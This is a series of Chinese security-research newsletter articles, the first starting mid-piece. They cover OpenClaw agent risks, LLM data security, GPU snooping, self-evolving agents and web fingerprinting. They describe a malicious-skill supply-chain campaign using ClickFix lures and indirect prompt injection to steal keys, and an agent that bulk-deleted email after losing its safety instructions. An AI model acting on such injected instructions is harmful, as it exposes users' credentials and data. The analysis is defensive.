2026年3月20日，网络空间测绘系统Shodan显示监听互联网上国内暴露的OpenClaw服务为6.8万（指纹提取自18789端口banner），绿盟威胁情报显示国内OpenClaw服务暴露数量为6.5万余（指纹提取自5353端口banner），如图3所示（注：Shodan中18789端口暴露数总数为24.7万，但具体产品之和远少于总数，可能原因是Shodan产品识别不够精确，故取暴露数量而非已识别的产品数量）。

2026年1月底至2月中旬，OpenSourceMalware与Trend Micro公司在监控中发现了一场隐蔽的供应链协同攻击，这次大规模投毒事件被命名为“ClawHavoc”[7]。

在ClawHavoc投毒事件中，以ID为hightower6eu的攻击者在短时间内上传了高达1184个恶意Skill，如图4所示。这些Skill被伪装成各类高频应用工具，如“Twitter/X社交管理助手”、“PDF长文档摘要生成器”、“多功能天气预报”等。

与传统的二进制病毒不同，这些恶意Skill将自然语言的描述文本、环境配置文件以及可执行脚本混合打包。为了绕过早期的自动化静态扫描，攻击者采用了一种被称为“ClickFix”的社工方法。攻击者不会直接将恶意代码在组件的说明文件（如SKILL.md或者初始化脚本）中，而是伪造环境依赖安装说明，从而诱导用户在终端中手动运行包含Base64编码或混淆后的脚本指令。用户一旦运行，实际上便将恶意代码植入到了OpenClaw的运行环境中。

一旦诱导执行成功，恶意代码便被激活，攻击者根据目标系统的不同，投递多样化的恶意载荷，收割macOS系统的钥匙串、浏览器密码、加密货币钱包资产与软件会话，或者窃取受害者的Claude或OpenAI等付费AI大模型的API密钥。

从技术手段上看，攻击者不再单纯依赖二进制病毒，而是利用大模型无法区分指令与数据，实施间接提示注入，而且有指令执行是在本地运行，云端大模型并不能完全预测和感知到本地的异常行为，造成了安全防护的盲区。

2026年2月中旬，网络安全公司Hudson Rock在监控全球受感染设备的数据回传流量时，检测到一个包含完整.openclaw目录的ZIP压缩包。经逆向分析，该恶意软件被证实为窃密木马Vidar的新变种[8]。这一发现首次确认了针对OpenClaw的定向窃密攻击。

通常Vidar木马的扫描模块会扫描Chrome等浏览器软件中的敏感信息（如cookie），但该变种添加了OpenClaw本地目录扫描的能力，当该木马在受害者主机部署后，会扫描并识别~/.openclaw目录中的配置、公私钥、访问凭证和存储信息（如memory），如图5所示。进而木马将敏感数据外传，可以为后续的社会工程提供丰富的上下文情报。

需要警惕的是当AI成为电脑操作的决策者，那么它既有权限也有可能删除电脑中的某些重要文件。无论是模型本身的能力不足还是出现幻觉，或是智能体系统设计有bug，又或者有恶意攻击，那么OpenClaw一定会在未来的某刻犯错。

2026年2月，Meta超级智能的安全对齐负责人Summer Yue在X发文[9]，她用测试OpenClaw的邮件自动整理功能时，遇到了严重失控事件，如图6所示。OpenClaw强行删除其邮箱内200多封邮件，原因是邮箱数据量过大触发了 OpenClaw 的上下文压缩（context compaction）机制，导致初始安全指令在处理过程中丢失，AI 自行执行了批量删除。这被视为 AI Agent 工具在实际大上下文场景下的典型风险案例。

新技术的出现，不可避免地带来了新的风险，关注OpenClaw的风险，并非要阻碍其应用，而是通过了解其安全问题后做有针对风险管理，这样才能有助于我们更好地发挥OpenClaw的生产力。

首先，OpenClaw自身的安全问题暴露非常多，安全社区一直致力于修复相关安全问题，公开漏洞前提供安全修复方案。广大OpenClaw的使用者应当持续升级到最新版本，避免自身漏洞被利用。

其次，CrawHub上的第三方技能工具存在恶意代码的可能，为此CrawHub集成了OpenClaw社区和VirusTotal的技能扫描工具，对上架的技能进行代码分析，一方面给出技能的能力边界，如调用指令的范围，另一方面识别技能是否存在权限提升、访问凭证、下载恶意代码等风险。用户应当根据扫描提示谨慎确定是否要使用这些技能。

最后，OpenClaw的安全治理需要多种手段的结合。例如遵循NIST CSF网络安全框架，在识别环节，应当使用网络全流量、终端安全产品通过网络流量特征、终端行为识别企业内部环境中已安装OpenClaw的端点；在防护环节，通过配置检查和加固等方式，消减已知漏洞的安全风险[10]；在运行环节，将技能扫描、下载和调用嵌入到整个智能体执行环节，对可疑的网络和终端行为进行阻断；在响应环节，考虑对安全事件进行溯源分析，将被破坏的重要系统、文件还原。

发展与安全如何平衡，始终是个人、社会和国家面临的问题。人工智能已是发展的必选项，但人工智能伴生的安全风险管理同样重要。网络安全行业经过多年实践，已经达成了一个共识：安全应当成为系统的内生特性，安全设计应当与软件设计同步，安全能力应当与软件功能生命周期同步。那么人工智能要做到高质量发展，学术界同仁应攻关人工智能内生安全的科学问题，突破面向人工智能软件供应链的安全防护技术；而产业界同仁应当构建面向人工智能生态完整的安全架构、关键技术和能力体系。

参考文献

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。

生成式大模型（AIGC）的横空出世，彻底改变了人类处理与利用信息的方式，将社会推向了“通用人工智能”的门槛。然而，在这场繁荣背后，一个隐形的“围栏”始终存在：大模型对高质量、深度私域数据的“极度饥渴”，与数据要素流转中对隐私保护、主权安全、全程可控的“刚性需求”，构成了一对矛盾的共同体。

正是在这样的背景下，可信数据空间与大模型正从两条平行的技术轨道，得到了越来越多机构的关注，迅速交织、碰撞，演变为一种螺旋上升、双向赋能的共生关系，具体而言：

可信数据空间赋能大模型：

① 释放私域数据红利：可信数据空间为私域数据的安全共享提供了底座，使得大模型能够从通用知识走向领域专业知识，让“行业专家级”大模型的训练成为可能。

② 合规与成本的双重优化：通过标准化的数据处理流水线与合规存证过程，空间能显著降低模型训练的前置合规成本，让AI应用的落地不再受困于“数据不敢算”的泥潭。

大模型赋能可信数据空间：

① 驱动盈利模式变现：大模型服务本身就是数据空间价值释放的重要路径。已逐渐形成共识的token付费意识，回答了可信数据空间建设完成后如何获得收益这一难题。

② 运营效率的智能化飞跃：引入大模型后，数据空间的元数据整合、自动化治理及交互式操作将实现智能化飞跃，能有效降低了数据空间的使用门槛与运维成本[1]。

尽管“双向赋能”的愿景极具诱惑力，但在实操层面，两者的融合正撞上一面难以逾越的技术墙。可信数据空间的核心诉求是“跨域管控、全程可控”，但大模型极高的计算复杂度却天然地像一个“黑盒”，让跨域的管控更难统筹设计。

值得注意的是，由于数据已然出域，攻击者不再是远在天边的黑客，而极有可能是具备物理设备接触权限、甚至掌握物理机root权限的运维人员。传统的防火墙和权限管理在“拥有物理访问权”的攻击者面前，脆弱得如同一张白纸，其可以实施更具破坏力的数据窃取方案。下面我们举一个典型的攻击方法示例：

虚拟机内存窥探攻击：出于性能考量，当前主流虚拟化平台主要使用kvm等虚拟化策略，虚拟机本质是物理机上的一个进程。如图1所示，攻击者无需中断虚拟机内的业务，仅通过gdb等常规调试工具或虚拟化管理接口，即可轻松截获虚拟机的全量内存快照；该镜像中不仅包含了待处理的原始敏感数据，还包含了虚拟机业务计算过程中产生的全部中间态信息。

如果说虚拟机的内存窥探只是发现了围墙上的漏洞，那么大模型对GPU的绝对依赖，则进一步直接放大了原本就被忽视的底层硬件“信任鸿沟”：

• CPU风险继承：GPU自身没有数据，其处理过程依赖于主机的调度与数据供给，这意味着GPU内的输入数据首先会出现在CPU与内存侧，CPU侧的窥探风险不会消失只会加剧。

• 总线上的“裸奔”：大模型运算涉及海量的权重参数与中间张量。在传统架构中，数据必须通过 PCIe 总线在宿主机内存与 GPU 显存之间频繁调度。对于拥有root权限或可以接入物理窥探设备的攻击者而言，这段路径就像一条没有护栏的高速公路，数据流向几乎是全透明的[2]。

• 显存的调试后门： GPU 预留了多种用于驱动通信或硬件调试的“快速通道”，但在攻击者眼中，这些通道却成了窥探隐私的绝佳后门（以NVIDIA显卡为例，其架构中存在如 PRAMIN 这样的内部存储映射窗口[3])，直接将显存内容暴露给攻击者。

• 防护体系的“代差效应”：传统的硬件安全增强方案（如可信执行环境）大多是为 CPU 场景设计的，GPU架构的复杂性使得同等的硬件防护当前方兴未艾，数据一旦流入缺乏等同强度保护的 GPU “黑盒”，整个信任链便会从硬件接口处产生断裂。。

这种“算力极强”与“防御极弱”的剧烈反差，构成了大模型落地可信数据空间的最高技术门槛： 我们如何在不得不交出数据控制权（出域）、不得不使用第三方GPU（高性能）的同时，还能确保这台“算力黑盒”不会沦为数据泄露的宣泄口？

针对这一难题，随着大模型服务愈发重要，业界正在密码学、系统架构、硬件原生防护等多个维度展开一场的技术突围。

下面我们对学术界与业界针对大模型场景下的跨域管控难题的五种主流探索思路进行介绍。

同态加密作为密码学的圣杯无疑可以解决上面的问题，然而其密态计算代价在大模型场景中无法被接受。既然全同态加密太慢，那就针对大模型核心的Transformer架构进行“量体裁衣”。通过特定的密文变换，让数据可在GPU中以密态形式完成矩阵运算，而仅在可信环境中解密结果。

• 优势：具备严密的密码学证明，且开销远低于通用同态加密（通常仅为明文计算的数倍），不依赖特殊硬件。

• 劣势：推理中可能需要频繁进行密文矫正，通信开销不容忽视[4]，且无法使用主流的大模型计算引擎；此外，层层叠加的密文计算误差可能导致精度漂移，影响模型效果[5]。

借鉴Xen虚拟化思想，在硬件与OS之间插入一层微内核，由hypervisor掌握最高特权级管理各类资源[6]。此时攻击者可以操控的宿主机操作系统的权限并不比运行模型推理任务的GPU算力虚拟机更高，从而使攻击者无法触碰到特定的显存区域。

• 优势：无特定硬件依赖，性能损耗较少；上层软件应用无需变更。

• 劣势：需要对底层虚拟化架构进行深度的侵入式改造，无法在主流的云服务平台（如基于KVM虚拟化）上直接部署。

由芯片厂商从底层“动刀”。如NVIDIA的H100 GPU-CC架构[7]，通过在GPU内部烧录硬件信任根，与受信任的CPU TEE握手建立信道，完成端到端加密，为GPU穿上一层原生的“防弹衣”。

优势：安全级别高，性能损耗极小，上层软件应用无需变更。

劣势：当前仅极少数显卡型号（如H100）支持该功能，无法兼容海量老旧算力设备；同时，封闭的硬件生态可能存在厂商预留的“后门”忧虑[8]。

相比于GPU-CC，CPU机密计算已经相对成熟，一个自然的想法是利用CPU TEE作为“指挥官”。此类方案通常需要将复杂的GPU驱动保留在不可信环境，但能够在关键的计算节点（如数据装载前），在隔离的环境中由CPU TEE进行身份验证和数据注入[9]或者注入前确保GPU处于未被窥探的状态[10]。

优势：无特定GPU硬件依赖。

劣势：待运行的软件应用需要根据驱动等进行特定的适配；对于GPU显存直接窥探攻击可能需要结合其他策略。

既然GPU不能改，就在它大门前安插一个“安检员”。在通信总线上串联一块可编程硬件[11]（如FPGA计算卡），由它负责数据的实时加解密和隔离，GPU只负责纯粹的计算，而可编程硬件和GPU直接是可设计为硬件直连的，不存在攻击的空间。

优势：无需采用特定GPU硬件，性能损耗极低。

劣势：需要引入额外的代理设备卡，可能存在潜在的适配问题。

上面对主要的大模型场景下数据防窥思路进行了介绍，挂一漏万，感兴趣的读者不妨进一步前文中的引用原文以及相关综述性文献[12]。

本文对大模型和可信数据空间之间结合的必要性与核心安全难点进行了介绍，并对业界主流的GPU加固思路进行了简单梳理。容易注意到，上面的方案事实上均存在不可忽视的缺陷，以至于实践中尚未广泛铺开。

是否有可能集系统安全、密码学等众家之长，对大模型相关场景进行定制化的安全方案设计，达成更高的性能、更好的普适性与更低的成本呢？我们将在本系列下一篇文章中讨论一些新的可能。

参考文献

内容编辑：顾 奇

责任编辑：陈佛忠

2022年，OpenAI 公司推出了名为 ChatGPT [1]的人工智能聊天机器人。用户可以使用自然语言与 ChatGPT 进行交互，它不仅能准确理解人类提示词的语义，支持连续的多轮对话，还展现出了极高的回复准确率和广博的知识面。ChatGPT 的问世不仅让人类看到了通用人工智能的曙光，也引发了继 AlphaGo 之后新一波的人工智能产业浪潮 。

ChatGPT 之所以取得重大突破，其核心技术——大语言模型（LLM，简称大模型）成为了研究与发展的焦点。以 ChatGPT 的首个版本（基于 GPT-3）为例，其参数规模达到了惊人的 1750 亿（17.5B）。随着模型参数量的增加以及算法的持续优化，大模型的能力也在不断跃升。例如，Grok 的参数规模已达 2.7T，通义千问的参数规模也达到了 110B，这些大模型在各类评测中均表现出色 。

如今的大模型不仅在文本对话上能输出更准确、更人性化的回答，更具备了文本生成、图片生成、音频生成乃至视频生成等复杂的“多模态”融合能力 。目前大模型的发展正处于百花齐放、百家争鸣的阶段。除了 OpenAI 推出的最新版 ChatGPT 之外，国外的 Gemini、LLaMA，国内的文心一言、讯飞星火、通义千问等大模型也展现出了不俗的能力。这些通用模型结合各行业的领域知识，最终衍生出了面向特定领域的行业大模型 。

值得注意的是，大模型的爆火及行业应用的落地带来的不仅仅是机遇，伴随而生的安全风险也是大模型面临的巨大挑战，其中数据安全风险尤为突出。

大模型之所以智能化水平高、知识面广，除了参数规模巨大外，还源于与海量数据的深度交互 。一方面，模型训练离不开海量数据的支持：基础模型的预训练需要“投喂”大量数据（如 GPT-3 的训练数据集高达 45TB[2] ）；若要训练出能处理特定任务的精细化大模型，还需要投入针对性的高质量数据进行微调。另一方面，各厂商的大模型应用在执行推理时，需要处理每个用户的即时输入，这意味着厂商会接收到海量用户的查询请求。

因此，在模型训练、微调与推理的全过程中，可能存在数据隐私泄露、数据滥用、数据版权纠纷等安全问题 。此外，云厂商通常为大模型的训练与部署提供基础设施支持。由于能力越强的模型对算力要求越高，个人用户或中小企业一般不具备自行采购或运维算力设备的能力，转而选择租用云厂商的算力资源。随之而来的，便是数据与业务上云所引发的数据安全隐患。

如图1，大模型的全生命周期可分为模型训练阶段、模型部署阶段以及模型运营阶段 。在每个阶段中，我们将参与方根据能力与职责划分为:

数据方：负责提供该阶段所需的数据。

算法方：负责提供使用这些数据的算法程序。

算力方：负责提供程序运行所需的算力设备。

需要说明的是，我们对这三个身份的定义是广义的。在实际场景中，一个具体的实体可能兼具多重身份。例如，在模型运营过程中，某模型服务厂商将自有模型部署在自有算力设备上对外服务，此时该厂商既是算法方，也是算力方；而在模型训练过程中，训练数据可能源自多个机构，此时这些机构均属于数据方。

基于上述概念，我们将大模型生命周期各个阶段中可能存在的数据安全风险描述如下：

1）模型训练阶段

该阶段的主要目标是利用算法与数据，通过多轮训练与调优，获得满足功能需求的模型。训练分为预训练与微调：预训练使用广泛数据集让模型学习通用知识，对数据数量要求高但对质量要求相对宽松；微调则是在预训练模型基础上，使用专有数据进行针对性训练，要求数据质量尽可能高。

在此阶段，数据方提供训练数据（微调时，预训练模型本身也可视为数据方提供的“数据”）；算法方提供训练算法；算力方提供搭载 GPU/TPU 等高性能资源的物理或虚拟设备。训练时，数据与算法需传输至算力设备运行，此过程存在以下风险：

1.训练数据泄露风险：风险可能来自算力方与算法方。对于算力方，由于其拥有设备的最高控制权，操作人员或入侵系统的黑客可读写任意内容，导致数据被窃（例如云存储巨头 Snowflake 的大量客户实例曾遭黑客攻击导致信息泄露 ）。对于算法方，若在其程序中预留后门或植入恶意代码，也可攻击算力设备并窃取敏感数据。

2.数据投毒风险：该风险可能来源于数据方。如果数据方提供的数据中存在大量低价值、低可用性数据用于模型训练，则可能导致最终得到的模型可用性较低，无法达到预期的模型推理能力。此外，若数据方提供的数据中具有恶意诱导性质内容，则可能导致最终模型推理所输出的内容中包含不良内容，无法满足内容合法合规性。

2）模型部署阶段

该阶段目标是将训练好的模型与应用程序部署在生产环境中，形成可用服务。数据方提供模型文件；算法方提供加载模型并提供服务（如 Web、API）的应用程序；算力方提供设备。此过程需将模型与程序传输至设备并调试，风险如下：

1.模型数据泄露风险：与训练阶段类似，算力方的不诚实操作员或黑客可轻易窃取设备中的模型数据；算法方同样可能通过代码后门实施攻击。

2.主机失陷风险：风险可能来自算法方与数据方。算法方的恶意代码风险如前所述。对于数据方，尽管大模型被视为“数据”，但它兼具数据与算法的双重属性，可被用于执行恶意代码，从而破坏算力方设备或提权。2024年，JFrog 安全团队发现 Hugging Face 上存在部分恶意模型，加载时会执行恶意代码，导致数据泄露或系统损坏[3]。

3）模型运营阶段

该阶段目标是让用户正常使用服务，输入提示词并获取推理结果。此时，数据方即为用户（提供提示词）；算法方提供应用服务进行推理；算力方提供设备。风险如下：

1.用户隐私泄露风险：尽管算法方可使用 HTTPS 加密传输，但算力方仍可利用高权限在设备端监听输入输出，窃取用户隐私。此外，算法方程序直接处理明文，若用户输入包含隐私，也可能直接导致泄露。

2.模型隐私泄露风险：来自数据方（恶意用户）。攻击者可构造恶意的提示词与模型交互（推理攻击），诱导模型泄露记忆中的隐私信息。研究表明，通过特定查询，可从 GPT-2 和 GPT-3 中推测出训练数据包含的私人或敏感信息 [4]。

针对上述不同阶段的风险，可采用多种技术手段进行防范。虽然安全审计贯穿全生命周期（图2），用于判断数据、代码和输入输出是否合规，但审计存在局限性：开发者可能不愿公开代码/数据，且海量数据的审计耗费人力并难以保证 100% 准确 。数据清洗与对抗性训练侧重于保障模型可用性，而针对各参与方的恶意行为及信任问题，隐私计算技术与硬件安全技术成为了构建信任的关键方向。

联邦学习 (Federated Learning) 提到大模型训练隐私保护，联邦学习是最常被提及的技术。其核心作用是让多方在原始数据“不出域”的前提下联合训练，保护数据隐私 。 FedML[5] 是一个代表性的开源分布式 AI 训练库。国内开源项目 FATE 也发布了 FATE-LLM[6] 模块，支持 ChatGLM、GPT-2、Qwen 等模型的联合训练。总体而言，联邦学习有效解决了训练阶段数据方的数据安全问题，但对算法安全及其他攻击场景的防护能力有限。

同态加密 (Homomorphic Encryption) 同态加密允许在密文状态下直接执行运算，解密后的结果与明文计算一致。在训练与推理中，可利用此特性保护数据隐私 。 Zama [7]公司 提出了基于全同态加密的 AI 隐私保护方案。该公司由著名密码学家 Pascal Paillier（Paillier 半同态加密算法提出者）担任 CTO，推出了开源框架 Concrete ML。在云端推理场景中（如图3），开发者将支持密态推理的模型部署上云，客户端将数据加密发送，服务端在密文上推理并返回密文结果，全过程云端无法获知明文数据 。 虽然同态加密提供了极强的隐私性，但也存在代价：通常要求模型进行量化（可能损失精度），且计算效率会显著降低。

不过，使用全同态加密并非没有代价，其要求模型必须处于一定精度范围内，要求模型必须进行量化，因此可能带来一定精度损失，此外同态加密本身带来的计算效率降低问题也是无法避免的问题。不过总体来说，同态加密亦是一种可行的技术手段，其无论在模型训练还是模型推理场景中均可以为参与计算的数据提供隐私保护，有效防止了敏感信息的泄露。

可信执行环境 (TEE) TEE 是基于硬件构建的安全空间，物理设备的高权限用户也无法访问其中的内容。因此，将 TEE 部署在算力方，可有效杜绝算力方利用高权限实施的攻击 。 采用虚拟机级别的 TEE 技术（如机密虚拟机）不仅易用性高，能适配现有大模型程序的部署，还能提供隔离环境，防止恶意代码破坏宿主机。TEE 能为训练数据和用户数据提供安全存储，为算法和推理框架提供安全执行环境，构建全密态的防护体系。相比其他技术，TEE 具有技术难度低、迁移成本低、防护范围广的优势，但缺点在于需要特定的硬件支持（如支持 TEE 的 CPU/GPU），增加了算力方的硬件采购成本。

这篇文章中我们详细介绍了大模型场景下的数据安全问题，分析了训练、部署、运营各阶段参与方的职责与具体风险，并探讨了联邦学习、同态加密、可信执行环境等防护技术。

随着大模型需求的激增，数据要素流通中的安全问题已成为制约其广泛应用的关键因素。要发展行业化、精细化且可信的大模型应用，必须解决数据安全隐患。尽管目前的解决方案尚处于发展早期，未形成完全成熟通用的标准，但随着技术的进步，相关防护手段将日益完善。后续文章中，我们将进一步介绍绿盟科技基于可信数据空间的大模型全生命周期解决方案，敬请关注。

参考文献

内容编辑：高翔

责任编辑：陈佛忠

传统智能体遵循预训练加后训练两阶段范式，后训练的监督微调和强化学习环节严重依赖高质量人工标注与人工定义奖励信号，因此存在可扩展性瓶颈。
人工监督的依赖，不仅限制了系统规模化落地，更将智能体的能力上限严格约束在人类专家水平之内，严重限制了其进化潜力。
基于固定训练数据与预定义监督信号学习的能力，难以适配分布外场景与开放式任务的持续变化需求。

自进化智能体是指在最小化人类监督的前提下，自主协调自身优化闭环，主动探索问题空间、从推理或交互轨迹中生成训练信号、迭代优化自身策略的智能体系统，具备两大核心属性：
强自主性：无需依赖外部监督即可自主生成学习信号；
主动交互探索：通过内部模型驱动优化，或与环境持续交互发现多样化轨迹与反馈信号，实现策略提升。

该文章提出了自进化智能体的统一分类体系，将相关方法划分为三大核心范式，完成了领域研究的体系化整合；
系统梳理了各范式的技术原理、细分分支与数百项代表性研究工作，搭建了完整的技术框架；
明确模型-环境协同进化是该领域未来的核心新兴方向，界定了未来研究的核心挑战与关键问题；
全面覆盖了该技术的落地应用场景、标准化评估基准与全流程开源工具库；
在GitHub开源了相关研究论文、开源数据与项目的完整合集，为社区提供了一站式研究资源。

核心LLM：智能体的认知大脑，以LLM参数为基础，承担语义理解、逻辑推理、指令生成的核心功能；
记忆：分为短期记忆（维护当前任务上下文连贯）与长期记忆（持久化存储跨任务经验），解决核心LLM的上下文窗口限制与无状态特性；
工具：功能API或外部服务集合，为智能体提供实时信息获取、精准计算、物理世界操控等能力，突破模型固有能力边界；
交互接口：智能体与外部环境的信息交换通道，包含感知、动作执行、评估与反馈三大核心功能，实现动作-反馈闭环，为智能体自反思与进化提供优化信号。

状态空间：智能体运行的客观现实，包含任务上下文、初始问题条件、外部知识库等，是智能体观测的基础；
验证与反馈机制：环境的核心特征，可根据客观规则对智能体动作进行有效性、准确性评估，返回确定性、语义丰富的反馈信号，是智能体自校正与参数迭代的核心依据。

综述基于马尔可夫决策过程对交互过程建模，核心分为两步：
（1）状态感知与决策：智能体接收环境当前状态，基于核心LLM生成对应动作；
（2）执行与反馈：智能体在环境中执行动作，环境完成状态迁移并返回反馈，反馈同时承担“知识补充”与“策略评估”两大核心作用。

综述提出的统一分类体系，将自进化智能体划分为三大核心范式。

该范式不依赖外部环境与人类监督，通过模型自身的计算扩展或参数迭代实现能力提升，分为两大核心分支：
（1）推理侧进化
核心逻辑是不更新模型参数，用额外计算换更可靠的推理结果，在单次推理过程中通过计算规模扩展提升性能，分为三个方向：
1. 并行采样：基于自一致性机制，通过并行多路径采样拓宽解空间，缓解单轮推理的局部最优问题，代表工作包括Self-Consistency、SelfCheckGPT、LLM-BLENDER；
2. 序列自校正：通过“生成-反馈-修订”的迭代计算优化推理结果，引入错误事件记忆与外部工具验证，代表工作包括Reflexion、SELF-REFINE、CRITIC；
3. 结构化推理：将推理轨迹建模为树、图等结构化过程，通过显式搜索与验证实现系统性探索，代表工作包括Tree
of Thoughts (ToT)、Graph
of Thoughts (GoT)、LATS。
（2）训练侧进化
核心逻辑是通过参数更新实现能力的永久内化，模型自主充当提议者、求解者、评估者，生成训练信号完成SFT、RL，绕过人工标注需求，分为两个方向：
1, 合成驱动的离线自进化：利用模型生成能力构建高质量合成数据集，通过监督微调将隐性知识显式整合为参数。其核心动机在于通过“引导机制”使模型能够作为自身教师，从而解决人类数据稀缺问题。代表工作包括SELF-INSTRUCT、SPIN，综述梳理了该方向超15项代表性工作；
2. 探索驱动的在线自进化：将模型转为主动探索者，通过自博弈或与环境的实时试错交互，构建动态在线强化学习循环，突破静态数据天花板，代表工作包括R-Zero、Absolute
Zero、Agent0，综述梳理了该方向超30项代表性工作。

该范式核心是通过与外部世界的持续交互实现自进化，环境既是知识来源，也是反馈驱动源，分为四大核心分支：

（1）静态知识进化
该方式用于解决模型内部知识的时效性与领域局限性，让模型从被动信息接收者转为主动知识探索者，分为智能体检索增强生成（Agentic
RAG）与推理驱动的深度研究两大方向，代表工作包括Self-RAG、DeepResearcher、Tongyi
DeepResearch。
（2）动态经验进化
该方式从环境交互轨迹中提炼可复用经验，优化行为策略，按经验利用生命周期分为离线经验编译、在线经验适配、终身经验进化三大方向，综述梳理了该方向超25项代表性工作。
（3）模块化架构进化
该分支的思路是优化智能体与环境交互的核心模块，提升长周期任务的交互效率与适配性，分为交互协议进化、内存架构进化、工具增强进化三大方向，代表工作包括MemGPT、VOYAGER、TOOLMAKER。
（4）智能体拓扑进化
该方法将多智能体系统的结构本身作为可优化对象，实现从离线架构搜索到运行时动态重构的进化，整体分为离线架构搜索、运行时动态适配、结构状态进化三大方向，代表工作包括AutoAgents、GPTSwarm、ADAS。

这是综述重点强调的未来核心方向，原文认为该方向从根本上解决了前两大范式的固有局限，核心是将环境从静态背景转为可优化的协同进化实体，与智能体形成双向驱动的正向循环，整体分为两大核心分支：
（1）多智能体策略协同进化
与以环境为中心的自进化系统中的智能体拓扑进化（该方法侧重于多智能体系统的结构设计）不同，该范式强调通过显式训练对智能体策略进行持续优化。该方法将多智能体的交互整体视为环境，通过多智能体强化学习与对齐训练，实现策略的持续协同优化，从智能体间的交互中提取内在奖励，实现去中心化自提升，代表工作包括OPTIMA、CoMAS。
（2）环境训练
传统智能体训练常受限于静态有限数据集，依赖僵化的监督机制，难以支持长期泛化能力。该方法将环境本身作为可优化的对象，通过将训练环境视为可优化且动态演化的实体，而非固定数据源，从而转变了研究视角。环境会随着智能体能力同步调整，适配智能体的能力进化，分为两个核心方向：
l  自适应课程进化：提出将训练过程视为协同演化机制，环境会根据智能体的实时反馈动态调整任务难度，使课程设置与智能体能力水平同步优化，维持最优学习区间，代表工作包括GenEnv、RLVE；
l  可扩展环境进化：核心在于通过自动生成任务与奖励信号来构建大规模、多样化的虚拟环境，从而确保训练过程中的可靠性验证。通过模拟真实世界交互场景，该范式实现了智能体与环境的协同进化。代表工作包括Reasoning
Gym、AgentGym、Endless
Terminals。

原文梳理了自进化智能体三大核心落地场景，均以模型-环境协同进化为核心技术支撑：
（1）自动化科学发现
科学发现本质上是在无限假设空间中探寻真理的过程。静态大语言模型虽拥有海量知识储备，却无法对未知现象进行验证或迭代验证。该类应用的核心是构建“假设生成-实验执行-反馈优化”的迭代闭环，让人工智能从被动科研助手转为主动探索者。标志性成果包括：The
AI Scientist实现全自动论文生成与同行评审；GNoME通过主动学习循环机制，共发现了220万种新材料；A-Lab实现了无机合成71%的成功率，完成连续17天无人化运行；CRESt提出了一种多模态闭环框架，并通过该框架从海量搜索空间中成功筛选出高性能八元催化剂。
（2）自主软件开发
在软件工程领域，开发环境构成了一个复杂的生态系统，包含庞大的代码库、终端命令行以及持续集成流程。与静态问答任务不同，软件智能体必须在由数百万行代码定义的状态空间中运行——哪怕是一个字符错误都可能引发连锁反应，导致编译器崩溃或运行时异常等环境反馈。因此该类应用的核心是在代码库、终端、CI流水线构成的复杂环境中，通过工具使用、状态跟踪与环境反馈实现持续进化。代表性成果包括：SWE-agent通过优化Agent-Computer接口大幅提升bug修复成功率；Devin、Cursor实现了浏览、执行、预仿真全栈能力，支持自主调试与人机协同开发。
（3）开放世界仿真
在游戏与虚拟社交模拟领域，协同进化达到了最高抽象层次。此时环境不再是单一任务或静态代码库，而是一个开放的多智能体社会或物理世界。智能体不仅要适应环，还需通过互动主动塑造环境，从而形成文化、经济与宗教体系，进而重塑环境动态。代表性成果包括：Voyager在Minecraft中实现终身学习，进度提升15.3倍；Generative
Agents在虚拟小镇中涌现出群体社交行为；Project Sid实现了多智能体社会模拟中经济与法律的自发涌现。

本篇文章简述了《A Systematic Survey of Self-Evolving Agents: From Model-Centric to
Environment-Driven Co-Evolution》论文的主要内容。该论文确认了自进化智能体作为突破传统大语言模型智能体人类监督依赖瓶颈的核心范式，在自主智能与通用人工智能研究领域的重要地位，并首次提出了自进化智能体自主进化循环的统一分类框架，将自进化全链路技术划分为以模型为中心的自进化、以环境为中心的自进化、模型-环境协同进化三大核心范式，并梳理了自进化智能体在自动化科学发现、自主软件开发及开放世界仿真领域的最新研究成果。

参考文献

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。

在2025年的 RSA 大会上，有一场题为 《Smudged Fingerprints: Characterizing and Improving the Performance of Web Application Fingerprinting》 的演讲，演讲者是安全分析师 Brian Kondracki。这篇论文2024年在Security Symposium上发表， 以Smudged Fingerprints（模糊指纹）命名，支出管理员的自定义、安全硬化和性能优化配置无意间破坏了指纹特征，导致工具准确率大幅下降。论文系统研究了 Web 应用指纹识别技术在大规模现网环境中的识别效果和性能问题。作者指出，现有工具在面对复杂网页结构和动态内容时，指纹识别常出现“模糊”现象，导致识别结果不准确或效率低下。研究团队通过对比分析现有指纹识别系统的特征提取和匹配机制，提出了改进方案以优化识别速度与精度。论文不仅揭示了指纹识别中的关键性能瓶颈，还提供了可推广的优化思路，为后续 Web 资产识别与安全监测系统的设计提供了重要参考。

当前主流 Web 应用指纹识别技术主要分为动态特征和静态特征两类。动态特征依赖 HTML meta 标签、Generator 头部或版本字符串等易提取元素，便于正则匹配，但易被管理员修改或删除，可靠性有限；静态特征通过计算 CSS、JavaScript 等静态文件哈希值并与历史版本库对比，相对稳定，但可能受到哈希碰撞或文件访问限制影响。市面工具如 WhatWeb、Wappalyzer、BlindElephant 等各有侧重，但先前研究多局限于特征挖掘或单一工具优化，缺乏跨应用、真实部署环境的系统性比较。在真实网络中，Web 应用通常通过 CDN、反向代理、路径压缩或内容混淆等方式引入噪声，使得实验室中验证有效的指纹在实际场景中性能大幅下降。因此，该研究围绕三个关键问题展开：现有指纹技术在真实网络中是否仍可靠？哪些环境因素导致性能下降？能否通过实验定量刻画影响并提出优化方案？

针对上述问题，为系统评估不同指纹识别工具在真实网络中的表现，论文作者团队设计并实现了一个自动化测试框架——WASABO（Web Application SAndBOx）。这是一个自动化的测试与验证框架，用于在受控环境中模拟真实网络场景，全面评估指纹识别工具的性能变化，其架构如图1所示。

